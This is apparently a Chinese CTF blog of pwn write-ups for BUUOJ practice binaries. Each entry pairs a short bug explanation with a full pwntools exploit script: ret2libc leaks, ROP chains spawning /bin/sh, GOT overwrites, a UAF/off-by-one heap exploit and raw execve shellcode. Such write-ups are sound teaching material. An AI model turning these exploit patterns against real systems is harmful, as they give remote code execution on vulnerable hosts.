mrctf2020_easyoverflow fake_flag 是 n0t_r3@11y_f1@g
image.png
程序 gets 到的是 v4(rbp-0x70),然后对比的 v5 是在 rbp-0x40,输入 0x30 个字符之后再输入就是与 fake flag 对比的了
image.png
1 2 3 4 5 6 from pwn import *p=process('./mrctf2020_easyoverflow' ) payload='a' *0x30 +'n0t_r3@11y_f1@g' p.sendline(payload) p.interactive()
jarvisoj_level5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p=process('./pwn' ) elf = ELF('./pwn' ) payload = 'a' *0x80 + 'a' *0x8 rdi_add = 0x4006b3 rsir15_add = 0x4006b1 write_plt = elf.plt['write' ] write_got = elf.got['write' ] vul_add = elf.symbols['vulnerable_function' ] payload1 = payload + p64(rdi_add) + p64(0x1 ) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add) p.recvuntil("Input:\n" ) p.sendline(payload1) write_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) libc=LibcSearcher('write' ,write_addr) libc_base=write_addr-libc.dump('write' ) sys_add = libc_base + libc.dump('system' ) binsh_add =libc_base+libc.dump('str_bin_sh' ) payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add) p.recvuntil("Input:\n" ) p.sendline(payload2) p.interactive()
gyctf_2020_some_thing_exceting 去申请的时候会先申请 0x10 大小的 chunk 来存放用户申请的 chunk 的指针,free 的时候没有置为 NULL,存在 UAF 在一开始的时候会把 flag 读到 0x6020A8 这里,只要能 show 这个地址的内容就行
image.png
一开始申请两个与 0x10 不一样大的,然后 free 掉,再去申请 0x10 大小的时候就会申请到那个存储指针的那里,修改指针为 bss 段放 flag 的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p=process("./pwn" ) def create (size1,content1,size2,content2) : p.sendlineafter("want to do :" ,"1" ) p.sendlineafter("length : " ,str(size1)) p.sendlineafter("ba : " ,content1) p.sendlineafter("length : " ,str(size2)) p.sendlineafter("na : " ,content2) def delete (index) : p.sendlineafter("want to do :" ,"3" ) p.sendlineafter("Banana ID : " ,str(index)) def show (index) : p.sendlineafter("what you want to do :" ,"4" ) p.sendlineafter("SCP project ID : " ,str(index)) create(0x30 ,"yichen" ,0x20 ,"writeup" ) create(0x30 ,"yichen" ,0x20 ,"writeup" ) gdb.attach(p) pause() flag_addr=0x6020A8 delete(0 ) delete(1 ) create(0x10 ,p64(flag_addr),0x10 ,p64(flag_addr)) show(0 ) p.interactive()
image.png
actf_2019_babystack 只能栈溢出 0x10 大小的,栈迁移 给出了写到的地址,一开始通过栈迁移执行 puts 函数来拿到函数的地址,从而获得 libc 的地址 然后再一次栈迁移执行 system 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import LibcSearcherp = process("./pwn" ) elf = ELF("./pwn" ) puts_got = elf.got["puts" ] puts_plt = elf.plt["puts" ] main_addr = 0x04008F6 leave_ret = 0x400A4E pop_rdi = 0x0400ad3 ret = 0x400709 p.sendlineafter(">" ,"224" ) p.recvuntil("0x" ) address = int(p.recv(12 ),16 ) payload1 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) payload1=payload1.ljust(0xd0 ,'a' ) payload1 += p64(address-8 ) + p64(leave_ret) p.send(payload1) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,"\x00" )) libc = LibcSearcher("puts" ,puts_addr) libcbase = puts_addr - libc.dump("puts" ) sys_addr = libcbase + libc.dump("system" ) bin_sh = libcbase + libc.dump("str_bin_sh" ) p.sendlineafter(">" ,"224" ) p.recvuntil("0x" ) address = int(p.recv(12 ),16 ) payload2 = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) payload2 = payload2.ljust(0xd0 ,'a' ) payload2 += p64(address-8 ) + p64(leave_ret) p.send(payload2) p.interactive()
[-]axb_2019_brop64 如果不是 brop 的话只是一道经典的 ret2libc
测试出缓冲区大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level='debug' def getsize () : i = 200 while 1 : try : p = remote('node3.buuoj.cn' ,25413 ) p.recvuntil("Please tell me:" ) p.send(i*'a' ) sleep(0.1 ) data = p.recv() p.close() if "Goodbye" not in data: return i-1 else : i+=1 except EOFError: p.close() return i-1 size = getsize() print "size is [%s]" %size
cmcc_pwnme2 返回到 gets 函数,往 strings 那里写入 flag 的路径然后用 exec_string() 给读出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import LibcSearchercontext.log_level = "debug" p=remote("node3.buuoj.cn" ,27892 ) elf = ELF("./pwnme2" ) gets_plt=elf.plt['gets' ] pop_rdi=0x0400963 exec_string=0x80485CB string=0x804A060 payload='a' *0x6c +'a' *4 +p32(gets_plt)+p32(exec_string)+p32(string) p.sendlineafter("input:\n" ,payload) p.sendline('./flag' ) p.interactive()
picoctf_2018_can_you_gets_me 静态链接的程序,直接 rop chain ROPgadget –binary pwn –ropchain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context.log_level = "debug" from struct import packsh = remote("node3.buuoj.cn" ,27195 ) p = 'a' *28 p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b81c6 ) p += '/bin' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b81c6 ) p += '//sh' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x080549db ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de955 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0806cc25 ) sh.sendlineafter("GIVE ME YOUR NAME!\n" ,p) sh.interactive()
hitcontraining_unlink picoctf_2018_got_shell 有个后门,0x804854B,程序可以把 4 字节的内容写到一个地址上,把 puts 的 got 表写入后门的地址就行了
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote('node3.buuoj.cn' ,25055 ) elf = ELF("./pwn" ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] win_addr=0x804854B p.sendlineafter("byte value?" ,hex(puts_got)) p.recvuntil("write to" ) p.sendlineafter("\n" ,hex(win_addr)) p.interactive()
npuctf_2020_easyheap 只能申请 26 跟 56 大小的 chunk,在一开始会申请 0x10 大小的 chunk,用来存放用户申请的 size 与指针
image.png
edit 的时候有一个 off by one,free 的时候存在 UAF
image.png
image.png
首先申请两个 0x20 的,因为还有存放用户申请的 size 与 指针的两个 0x20 大小程序自己申请的 chunk,现在一共是 4 个 0x20 大小的 chunk
image.png
现在编辑第 0 个(index 从 0 开始)通过 off by one 把 0x603290 也就是记录 index1 的那个 chunk 的 size 改为 0x41,然后把第一个 delete 掉,这样就有了一个 0x20 大小和一个 0x40 大小的 free chunk
接下来再去 create 一个 0x40 大小的,因为有个 0x20 大小的 free chunk,所以会被用来放 size 与指针,但是他包含在我们申请的 0x20 中的,可以编辑掉,如果编辑为 atoi 的 got 表项就可以通过 show 来,以此得到 libc 的地址然后计算 system 的地址,然后再次编辑 system 函数直接输入 ‘/bin/sh\x00’ 就直接拿到 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *p=process('./pwn' ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) context.log_level='debug' def create (size,content) : p.sendlineafter("choice :" ,'1' ) p.sendlineafter("(0x10 or 0x20 only) : " ,str(size)) p.sendlineafter("Content:" ,content) def edit (index,content) : p.sendlineafter("choice :" ,"2" ) p.sendlineafter("Index :" ,str(index)) p.sendlineafter("Content: " ,content) def show (index) : p.sendlineafter("choice :" ,'3' ) p.sendlineafter("Index :" ,str(index)) def delete (index) : p.sendlineafter("choice :" ,"4" ) p.sendlineafter("Index :" ,str(index)) create(24 ,'yichen' ) create(24 ,'writeup' ) edit(0 ,'a' *0x18 +'\x41' ) delete(1 ) create(56 ,'a' *0x18 +p64(0x21 )+p64(0x8 )+p64(elf.got['atoi' ])) show(1 ) p.recvuntil("Content : " ) atoi_addr = u64(p.recvuntil('\x7f' ).ljust(8 , '\x00' )) libc_base = atoi_addr - libc.symbols['atoi' ] sys_addr = libc_base + libc.symbols['system' ] edit(1 ,p64(sys_addr)) p.sendlineafter('Your choice :' ,'/bin/sh\x00' ) p.interactive()
ciscn_2019_s_9 存在栈溢出 hint 函数中 jmp esp 的地址 0x8048554 如果 shellcode 直接放后面会不够大
1 2 3 4 5 6 7 8 9 10 from pwn import *p = process('./pwn' ) jmpesp = 0x8048554 shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload = shellcode+(36 -len(shellcode))*'a' +p32(jmpesp) payload += asm('sub esp,40;jmp esp' ) p.sendline(payload) p.interactive()
最后更新时间:2022-10-03 21:52:43